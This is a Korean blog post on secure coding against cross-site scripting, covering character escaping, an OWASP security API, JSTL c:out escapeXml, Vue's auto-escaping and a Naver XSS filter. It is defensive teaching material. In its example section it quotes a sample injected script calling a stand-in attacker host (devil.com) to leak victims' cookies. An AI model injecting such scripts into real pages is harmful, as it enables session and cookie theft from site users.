[시큐어 코딩] #3 크로스 사이트 스크립트 / XSS :: 잡다한 프로그래밍
반응형

1. 크로스 사이트 스크립트란?

페이지에 악의적인 스크립트를 포함시켜 사용자 측에서 실행되게 유도할 수 있다. 다음 그림과 같이 악성 스크립트를 서버측에 저장하면 다른사용자는 악성스크립트가 포함된 페이지를 응답받고 정보유출이 될 수 있다.

2. 안전한 코딩기법

일반적으로 사용자가 문자열에 스크립트를 삽입하여 실행하는 것을 막기 위해 사용자가 입력한 문자열에서 <, >, &, " 같은 문자열을 replace같은 메소드를 사용하여 치환하거나, 보안성이 검증되어 있는 API를 사용하여 위험한 문자열을 제거한다.

 

3. 예시

다음은 외부 입력값을 name으로, 특별한 처리과정없이 결과 페이지 생성에 사용하고 있다. 만약 다음과 같은 악의적인 스크립트(<script> url = "http://devil.com/attack.jsp;</script> 를 공격자가 넣으면, attack.jsp가 수행되며, 희생자의 쿠키정보 유출 등의 피해를 주게 된다.

 

따라서 다음과 같이 replaceAll()메소드를 사용하여 <, >같은 스크립트 생성에 사용되는 문자열을 &lt; &gt; 같은 형태로 변경함으로써 스크립트 수행위험을 줄일 수 있다.

 

 

다음 예제의 경우 OSWASP에서 제공하는 보안 API를 사용하고 있다. 보안 API를 사용하면 특수 문자를 이용한 공격 스크립트와 같은 외부 입력 문자열을 이용한 공격을 차단할 수 있다.


4. 추가적인 방법

앞선 부분은 pdf에서 제공하는 부분으로 API와 replace를 이용한 방법은 예전 방식의 느낌이 나서 찾아보았다.

 

다음은 EL <%= %>표현이 아닌 JSTL의 c:out을 활용한 방법이다. c:out을 당연하게 사용해 왔지만 c:out이 XSS를 대비한 방법이라는것을 알았다.

 

c:out은 기본적으로 escapeXml이 true로 되어 있기 때문에  < > & ' " 문자들을 각각 &lt; &gt; &amp; &#039; &#034; 로 출력한다. 이러한 방법은 앞서 replace를 사용한 방법의 상위 방법으로, 따라서 악성 스크립트가 실행되는것을 방지한다.

<%
 String greeting = "<b>hello, world!</b>";
 request.setAttribute("greeting", greeting);
%>
<h2>escapeXml false</h2>
<c:out escapeXml="false" value="${greeting}" />
<h2>escapeXml true</h2>
<c:out escapeXml="true" value="${greeting}" />
<h2>default</h2>
<c:out value="${greeting}" />

이는 다음과 같이 false가 되어있는 부분은 태그를 인식하여 출력하고, true로 되어있는 부분은 String 그대로 출력하는것을 확인할 수 있다.

 

hello, world!

<b>hello, world!</b>

 

Vue에서의 XSS방지

vue의 기본적으로 XSS를 방지하기위해 이를 자동으로 이스케이프 한다. 즉 기본적으로 XSS에 대한 방지를 지원한다.

userProvidedString = '<script>alert("hi")</script>'
<h1>{{ userProvidedString }}</h1>

따라서 이는 다음과 같이 출력될것이다.

&lt;script&gt;alert(&quot;hi&quot;)&lt;/script&gt;

만약 html이 내부에 들어가야한다면 다음과 같이 이용할 수 있다.

<div v-html="userProvidedHtml"></div>

 

lucy-xss-servlet-filter적용

https://github.com/naver/lucy-xss-servlet-filter

 

naver/lucy-xss-servlet-filter

Contribute to naver/lucy-xss-servlet-filter development by creating an account on GitHub.

github.com

참고

반응형

+ Recent posts